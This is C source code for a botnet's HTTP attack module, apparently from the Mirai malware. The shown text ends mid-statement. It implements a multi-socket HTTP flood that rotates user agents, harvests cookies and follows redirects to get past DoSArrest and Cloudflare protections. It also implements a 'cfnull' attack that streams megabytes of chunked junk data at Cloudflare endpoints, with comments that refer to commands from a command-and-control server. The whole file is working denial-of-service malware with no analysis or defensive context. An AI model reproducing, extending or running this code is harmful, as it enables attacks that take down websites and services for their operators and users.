#define _GNU_SOURCE #ifdef DEBUG #include #endif #include #include #include #include #include #include #include #include "includes.h" #include "attack.h" #include "rand.h" #include "table.h" #include "util.h" void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { } void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, ii, rfd, ret = 0; struct attack_http_state *http_table = NULL; char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL); char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET"); char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/"); int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80); char generic_memes[10241] = {0}; if (domain == NULL || path == NULL) return; if (util_strlen(path) > HTTP_PATH_MAX - 1) return; if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1) return; if (util_strlen(method) > 9) return; // BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING? // yes it would segfault but we only update the values if they are not already uppercase. // if the method is lowercase and its passed from the CNC we can update that memory no problem for (ii = 0; ii < util_strlen(method); ii++) if (method[ii] >= 'a' && method[ii] <= 'z') method[ii] -= 32; if (sockets > HTTP_CONNECTION_MAX) sockets = HTTP_CONNECTION_MAX; // unlock frequently used strings table_unlock_val(TABLE_ATK_SET_COOKIE); table_unlock_val(TABLE_ATK_REFRESH_HDR); table_unlock_val(TABLE_ATK_LOCATION_HDR); table_unlock_val(TABLE_ATK_SET_COOKIE_HDR); table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR); table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); table_unlock_val(TABLE_ATK_CHUNKED); table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR); table_unlock_val(TABLE_ATK_CONNECTION_HDR); table_unlock_val(TABLE_ATK_DOSARREST); table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX); http_table = calloc(sockets, sizeof(struct attack_http_state)); for (i = 0; i < sockets; i++) { http_table[i].state = HTTP_CONN_INIT; http_table[i].fd = -1; http_table[i].dst_addr = targs[i % targs_len].addr; util_strcpy(http_table[i].path, path); if (http_table[i].path[0] != '/') { memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path)); http_table[i].path[0] = '/'; } util_strcpy(http_table[i].orig_method, method); util_strcpy(http_table[i].method, method); util_strcpy(http_table[i].domain, domain); if (targs[i % targs_len].netmask < 32) http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask)); switch(rand_next() % 5) { case 0: table_unlock_val(TABLE_HTTP_ONE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL)); table_lock_val(TABLE_HTTP_ONE); break; case 1: table_unlock_val(TABLE_HTTP_TWO); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL)); table_lock_val(TABLE_HTTP_TWO); break; case 2: table_unlock_val(TABLE_HTTP_THREE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL)); table_lock_val(TABLE_HTTP_THREE); break; case 3: table_unlock_val(TABLE_HTTP_FOUR); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL)); table_lock_val(TABLE_HTTP_FOUR); break; case 4: table_unlock_val(TABLE_HTTP_FIVE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL)); table_lock_val(TABLE_HTTP_FIVE); break; } util_strcpy(http_table[i].path, path); } while(TRUE) { fd_set fdset_rd, fdset_wr; int mfd = 0, nfds; struct timeval tim; struct attack_http_state *conn; uint32_t fake_time = time(NULL); FD_ZERO(&fdset_rd); FD_ZERO(&fdset_wr); for (i = 0; i < sockets; i++) { conn = &(http_table[i]); if (conn->state == HTTP_CONN_RESTART) { if (conn->keepalive) conn->state = HTTP_CONN_SEND; else conn->state = HTTP_CONN_INIT; } if (conn->state == HTTP_CONN_INIT) { struct sockaddr_in addr = {0}; if (conn->fd != -1) close(conn->fd); if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) continue; fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); ii = 65535; setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = conn->dst_addr; addr.sin_port = htons(dport); conn->last_recv = fake_time; conn->state = HTTP_CONN_CONNECTING; connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); #ifdef DEBUG printf("[http flood] fd%d started connect\n", conn->fd); #endif FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_CONNECTING) { if (fake_time - conn->last_recv > 30) { conn->state = HTTP_CONN_INIT; close(conn->fd); conn->fd = -1; continue; } FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_SEND) { conn->content_length = -1; conn->protection_type = 0; util_zero(conn->rdbuf, HTTP_RDBUF_SIZE); conn->rdbuf_pos = 0; #ifdef DEBUG //printf("[http flood] Sending http request\n"); #endif char buf[10240]; util_zero(buf, 10240); util_strcpy(buf + util_strlen(buf), conn->method); util_strcpy(buf + util_strlen(buf), " "); util_strcpy(buf + util_strlen(buf), conn->path); util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: "); util_strcpy(buf + util_strlen(buf), conn->user_agent); util_strcpy(buf + util_strlen(buf), "\r\nHost: "); util_strcpy(buf + util_strlen(buf), conn->domain); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_KEEP_ALIVE); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL)); table_lock_val(TABLE_ATK_KEEP_ALIVE); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_ACCEPT); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL)); table_lock_val(TABLE_ATK_ACCEPT); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_ACCEPT_LNG); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL)); table_lock_val(TABLE_ATK_ACCEPT_LNG); util_strcpy(buf + util_strlen(buf), "\r\n"); if (postdata != NULL) { table_unlock_val(TABLE_ATK_CONTENT_TYPE); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL)); table_lock_val(TABLE_ATK_CONTENT_TYPE); util_strcpy(buf + util_strlen(buf), "\r\n"); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)); util_strcpy(buf + util_strlen(buf), " "); util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf)); util_strcpy(buf + util_strlen(buf), "\r\n"); } if (conn->num_cookies > 0) { util_strcpy(buf + util_strlen(buf), "Cookie: "); for (ii = 0; ii < conn->num_cookies; ii++) { util_strcpy(buf + util_strlen(buf), conn->cookies[ii]); util_strcpy(buf + util_strlen(buf), "; "); } util_strcpy(buf + util_strlen(buf), "\r\n"); } util_strcpy(buf + util_strlen(buf), "\r\n"); if (postdata != NULL) util_strcpy(buf + util_strlen(buf), postdata); if (!util_strcmp(conn->method, conn->orig_method)) util_strcpy(conn->method, conn->orig_method); #ifdef DEBUG if (sockets == 1) { printf("sending buf: \"%s\"\n", buf); } #endif send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL); conn->last_send = fake_time; conn->state = HTTP_CONN_RECV_HEADER; FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_RECV_HEADER) { FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_RECV_BODY) { FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_QUEUE_RESTART) { FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_CLOSED) { conn->state = HTTP_CONN_INIT; close(conn->fd); conn->fd = -1; } else { // NEW STATE WHO DIS conn->state = HTTP_CONN_INIT; close(conn->fd); conn->fd = -1; } } if (mfd == 0) continue; tim.tv_usec = 0; tim.tv_sec = 1; nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim); fake_time = time(NULL); if (nfds < 1) continue; for (i = 0; i < sockets; i++) { conn = &(http_table[i]); if (conn->fd == -1) continue; if (FD_ISSET(conn->fd, &fdset_wr)) { int err = 0; socklen_t err_len = sizeof (err); ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); if (err == 0 && ret == 0) { #ifdef DEBUG printf("[http flood] FD%d connected.\n", conn->fd); #endif conn->state = HTTP_CONN_SEND; } else { #ifdef DEBUG printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err); #endif close(conn->fd); conn->fd = -1; conn->state = HTTP_CONN_INIT; continue; } } if (FD_ISSET(conn->fd, &fdset_rd)) { if (conn->state == HTTP_CONN_RECV_HEADER) { int processed = 0; util_zero(generic_memes, 10240); if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1) { close(conn->fd); conn->fd = -1; conn->state = HTTP_CONN_INIT; continue; } // we want to process a full http header (^: if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240) continue; generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0; #ifdef DEBUG if (sockets == 1) printf("[http flood] headers: \"%s\"\n", generic_memes); #endif if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1) conn->protection_type = HTTP_PROT_CLOUDFLARE; if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1) conn->protection_type = HTTP_PROT_DOSARREST; conn->keepalive = 0; if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1) { int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)); if (generic_memes[offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); if (nl_off != -1) { char *con_ptr = &(generic_memes[offset]); if (nl_off >= 2) nl_off -= 2; generic_memes[offset + nl_off] = 0; if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL))) conn->keepalive = 1; } } conn->chunked = 0; if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1) { int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)); if (generic_memes[offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); if (nl_off != -1) { char *con_ptr = &(generic_memes[offset]); if (nl_off >= 2) nl_off -= 2; generic_memes[offset + nl_off] = 0; if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL))) conn->chunked = 1; } } if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1) { int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)); if (generic_memes[offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); if (nl_off != -1) { char *len_ptr = &(generic_memes[offset]); if (nl_off >= 2) nl_off -= 2; generic_memes[offset + nl_off] = 0; conn->content_length = util_atoi(len_ptr, 10); } } else { conn->content_length = 0; } processed = 0; while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX) { int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)); if (generic_memes[processed + offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2); if (nl_off != -1) { char *cookie_ptr = &(generic_memes[processed + offset]); if (nl_off >= 2) nl_off -= 2; if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0) nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1; generic_memes[processed + offset + nl_off] = 0; for (ii = 0; ii < util_strlen(cookie_ptr); ii++) if (cookie_ptr[ii] == '=') break; if (cookie_ptr[ii] == '=') { int equal_off = ii, cookie_exists = FALSE; for (ii = 0; ii < conn->num_cookies; ii++) if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off)) { cookie_exists = TRUE; break; } if (!cookie_exists) { if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX) { util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr); conn->num_cookies++; } } } } processed += offset; } // this will still work as previous handlers will only add in null chars or similar // and we specify the size of the string to stristr if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1) { int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)); if (generic_memes[offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); if (nl_off != -1) { char *loc_ptr = &(generic_memes[offset]); if (nl_off >= 2) nl_off -= 2; generic_memes[offset + nl_off] = 0; //increment it one so that it is length of the string excluding null char instead of 0-based offset nl_off++; if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4) { //this is an absolute url, domain name change maybe? ii = 7; //http(s) if (loc_ptr[4] == 's') ii++; memmove(loc_ptr, loc_ptr + ii, nl_off - ii); ii = 0; while (loc_ptr[ii] != 0) { if (loc_ptr[ii] == '/') { loc_ptr[ii] = 0; break; } ii++; } // domain: loc_ptr; // path: &(loc_ptr[ii + 1]); if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX) util_strcpy(conn->domain, loc_ptr); if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) { util_zero(conn->path + 1, HTTP_PATH_MAX - 1); if (util_strlen(&(loc_ptr[ii + 1])) > 0) util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); } } else if (loc_ptr[0] == '/') { //handle relative url util_zero(conn->path + 1, HTTP_PATH_MAX - 1); if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); } conn->state = HTTP_CONN_RESTART; continue; } } if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1) { int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)); if (generic_memes[offset] == ' ') offset++; int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); if (nl_off != -1) { char *loc_ptr = &(generic_memes[offset]); if (nl_off >= 2) nl_off -= 2; generic_memes[offset + nl_off] = 0; //increment it one so that it is length of the string excluding null char instead of 0-based offset nl_off++; ii = 0; while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9') ii++; if (loc_ptr[ii] != 0) { int wait_time = 0; loc_ptr[ii] = 0; ii++; if (loc_ptr[ii] == ' ') ii++; if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1) ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url="); if (loc_ptr[ii] == '"') { ii++; //yes its ugly, but i dont care if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"') (&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0; } wait_time = util_atoi(loc_ptr, 10); //YOLO LOL while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL)) sleep(1); loc_ptr = &(loc_ptr[ii]); if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4) { //this is an absolute url, domain name change maybe? ii = 7; //http(s) if (loc_ptr[4] == 's') ii++; memmove(loc_ptr, loc_ptr + ii, nl_off - ii); ii = 0; while (loc_ptr[ii] != 0) { if (loc_ptr[ii] == '/') { loc_ptr[ii] = 0; break; } ii++; } // domain: loc_ptr; // path: &(loc_ptr[ii + 1]); if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX) util_strcpy(conn->domain, loc_ptr); if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) { util_zero(conn->path + 1, HTTP_PATH_MAX - 1); if (util_strlen(&(loc_ptr[ii + 1])) > 0) util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); } } else if (loc_ptr[0] == '/') { //handle relative url if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) { util_zero(conn->path + 1, HTTP_PATH_MAX - 1); if (util_strlen(&(loc_ptr[ii + 1])) > 0) util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); } } strcpy(conn->method, "GET"); // queue the state up for the next time conn->state = HTTP_CONN_QUEUE_RESTART; continue; } } } // actually pull the content from the buffer that we processed via MSG_PEEK processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4); if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET")) conn->state = HTTP_CONN_RECV_BODY; else if (ret > processed) conn->state = HTTP_CONN_QUEUE_RESTART; else conn->state = HTTP_CONN_RESTART; ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL); } else if (conn->state == HTTP_CONN_RECV_BODY) { while (TRUE) { // spooky doods changed state if (conn->state != HTTP_CONN_RECV_BODY) { break; } if (conn->rdbuf_pos == HTTP_RDBUF_SIZE) { memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN); conn->rdbuf_pos -= HTTP_HACK_DRAIN; } errno = 0; ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); if (ret == 0) { #ifdef DEBUG printf("[http flood] FD%d connection gracefully closed\n", conn->fd); #endif errno = ECONNRESET; ret = -1; // Fall through to closing connection below } if (ret == -1) { if (errno != EAGAIN && errno != EWOULDBLOCK) { #ifdef DEBUG printf("[http flood] FD%d lost connection\n", conn->fd); #endif close(conn->fd); conn->fd = -1; conn->state = HTTP_CONN_INIT; } break; } conn->rdbuf_pos += ret; conn->last_recv = fake_time; while (TRUE) { int consumed = 0; if (conn->content_length > 0) { consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length; conn->content_length -= consumed; if (conn->protection_type == HTTP_PROT_DOSARREST) { // we specifically want this to be case sensitive if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1) { int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11); int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1); conn->rdbuf[start_pos + (end_pos - 1)] = 0; if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX) { util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos])); util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "="); start_pos += end_pos + 3; end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1); conn->rdbuf[start_pos + (end_pos - 1)] = 0; util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos])); conn->num_cookies++; } conn->content_length = -1; conn->state = HTTP_CONN_QUEUE_RESTART; break; } } } if (conn->content_length == 0) { if (conn->chunked == 1) { if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1) { int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2); conn->rdbuf[new_line_pos - 2] = 0; if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1) conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0; int chunklen = util_atoi(conn->rdbuf, 16); if (chunklen == 0) { conn->state = HTTP_CONN_RESTART; break; } conn->content_length = chunklen + 2; consumed = new_line_pos; } } else { // get rid of any extra in the buf before we move on... conn->content_length = conn->rdbuf_pos - consumed; if (conn->content_length == 0) { conn->state = HTTP_CONN_RESTART; break; } } } if (consumed == 0) break; else { conn->rdbuf_pos -= consumed; memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); conn->rdbuf[conn->rdbuf_pos] = 0; if (conn->rdbuf_pos == 0) break; } } } } else if (conn->state == HTTP_CONN_QUEUE_RESTART) { while(TRUE) { errno = 0; ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL); if (ret == 0) { #ifdef DEBUG printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d connection gracefully closed\n", conn->fd); #endif errno = ECONNRESET; ret = -1; // Fall through to closing connection below } if (ret == -1) { if (errno != EAGAIN && errno != EWOULDBLOCK) { #ifdef DEBUG printf("[http flood] HTTP_CONN_QUEUE_RESTART FD%d lost connection\n", conn->fd); #endif close(conn->fd); conn->fd = -1; conn->state = HTTP_CONN_INIT; } break; } } if (conn->state != HTTP_CONN_INIT) conn->state = HTTP_CONN_RESTART; } } } // handle any sockets that didnt return from select here // also handle timeout on HTTP_CONN_QUEUE_RESTART just in case there was no other data to be read (^: (usually this will never happen) #ifdef DEBUG if (sockets == 1) { printf("debug mode sleep\n"); sleep(1); } #endif } } void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, ii, rfd, ret = 0; struct attack_cfnull_state *http_table = NULL; char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1); char generic_memes[10241] = {0}; if (domain == NULL) return; if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1) return; if (sockets > HTTP_CONNECTION_MAX) sockets = HTTP_CONNECTION_MAX; http_table = calloc(sockets, sizeof(struct attack_cfnull_state)); for (i = 0; i < sockets; i++) { http_table[i].state = HTTP_CONN_INIT; http_table[i].fd = -1; http_table[i].dst_addr = targs[i % targs_len].addr; util_strcpy(http_table[i].domain, domain); if (targs[i % targs_len].netmask < 32) http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask)); switch(rand_next() % 5) { case 0: table_unlock_val(TABLE_HTTP_ONE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL)); table_lock_val(TABLE_HTTP_ONE); break; case 1: table_unlock_val(TABLE_HTTP_TWO); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL)); table_lock_val(TABLE_HTTP_TWO); break; case 2: table_unlock_val(TABLE_HTTP_THREE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL)); table_lock_val(TABLE_HTTP_THREE); break; case 3: table_unlock_val(TABLE_HTTP_FOUR); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL)); table_lock_val(TABLE_HTTP_FOUR); break; case 4: table_unlock_val(TABLE_HTTP_FIVE); util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL)); table_lock_val(TABLE_HTTP_FIVE); break; } } while(TRUE) { fd_set fdset_rd, fdset_wr; int mfd = 0, nfds; struct timeval tim; struct attack_cfnull_state *conn; uint32_t fake_time = time(NULL); FD_ZERO(&fdset_rd); FD_ZERO(&fdset_wr); for (i = 0; i < sockets; i++) { conn = &(http_table[i]); if (conn->state == HTTP_CONN_RESTART) { conn->state = HTTP_CONN_INIT; } if (conn->state == HTTP_CONN_INIT) { struct sockaddr_in addr = {0}; if (conn->fd != -1) close(conn->fd); if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) continue; fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); ii = 65535; setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = conn->dst_addr; addr.sin_port = htons(80); conn->last_recv = fake_time; conn->state = HTTP_CONN_CONNECTING; connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); #ifdef DEBUG printf("[http flood] fd%d started connect\n", conn->fd); #endif FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_CONNECTING) { if (fake_time - conn->last_recv > 30) { conn->state = HTTP_CONN_INIT; close(conn->fd); conn->fd = -1; continue; } FD_SET(conn->fd, &fdset_wr); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_SEND_HEADERS) { #ifdef DEBUG //printf("[http flood] Sending http request\n"); #endif char buf[10240]; util_zero(buf, 10240); //util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/l/chk_captcha HTTP/1.1\r\nUser-Agent: "); util_strcpy(buf + util_strlen(buf), "POST /cdn-cgi/"); rand_alphastr(buf + util_strlen(buf), 16); util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: "); util_strcpy(buf + util_strlen(buf), conn->user_agent); util_strcpy(buf + util_strlen(buf), "\r\nHost: "); util_strcpy(buf + util_strlen(buf), conn->domain); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_KEEP_ALIVE); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL)); table_lock_val(TABLE_ATK_KEEP_ALIVE); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_ACCEPT); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL)); table_lock_val(TABLE_ATK_ACCEPT); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_ACCEPT_LNG); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL)); table_lock_val(TABLE_ATK_ACCEPT_LNG); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_CONTENT_TYPE); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL)); table_lock_val(TABLE_ATK_CONTENT_TYPE); util_strcpy(buf + util_strlen(buf), "\r\n"); table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)); table_lock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); util_strcpy(buf + util_strlen(buf), " "); table_unlock_val(TABLE_ATK_CHUNKED); util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CHUNKED, NULL)); table_lock_val(TABLE_ATK_CHUNKED); util_strcpy(buf + util_strlen(buf), "\r\n"); util_strcpy(buf + util_strlen(buf), "\r\n"); conn->to_send = (80 * 1024 * 1024); #ifdef DEBUG if (sockets == 1) { printf("sending buf: \"%s\"\n", buf); } #endif send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL); conn->last_send = fake_time; conn->state = HTTP_CONN_SEND_JUNK; FD_SET(conn->fd, &fdset_wr); FD_SET(conn->fd, &fdset_rd); if (conn->fd > mfd) mfd = conn->fd + 1; } else if (conn->state == HTTP_CONN_SEND_JUNK) { int sent = 0; char rndbuf[1025] = {0}; util_zero(rndbuf, 1025); rand_alphastr(rndbuf, 1024); if (conn->to_send <= 0) { send(conn->fd, "0\r\n", 3, MSG_NOSIGNAL); } else { // EZZZZZZZZZ HACKS if (conn->to_send < 1024) rndbuf[conn->to_send] = 0; if ((conn->to_send >= 1024 && (conn->to_send % 1024) == 0)) { char szbuf[4] = {0}; util_zero(szbuf, 4); util_itoa(1024, 16, szbuf); send(conn->fd, szbuf, util_strlen(szbuf), MSG_NOSIGNAL); send(conn->fd, "\r\n", 2, MSG_NOSIGNAL); } if ((sent = send(conn->fd, rndbuf, util_strlen(rndbuf), MSG_NOSIGNAL)) == -1) { conn->state = HTTP_CONN_RESTART; continue; } // if our local send buffer is full, slow down. no need to rush (^: if (sent != util_strlen(rndbuf)) { conn->state = HTTP_CONN_SNDBUF_WAIT; } conn->to_send -= sent; FD_SET(conn->fd, &fdset_wr); } conn->last_send = fake_time; FD_SET(conn->fd, &fdset_rd); if 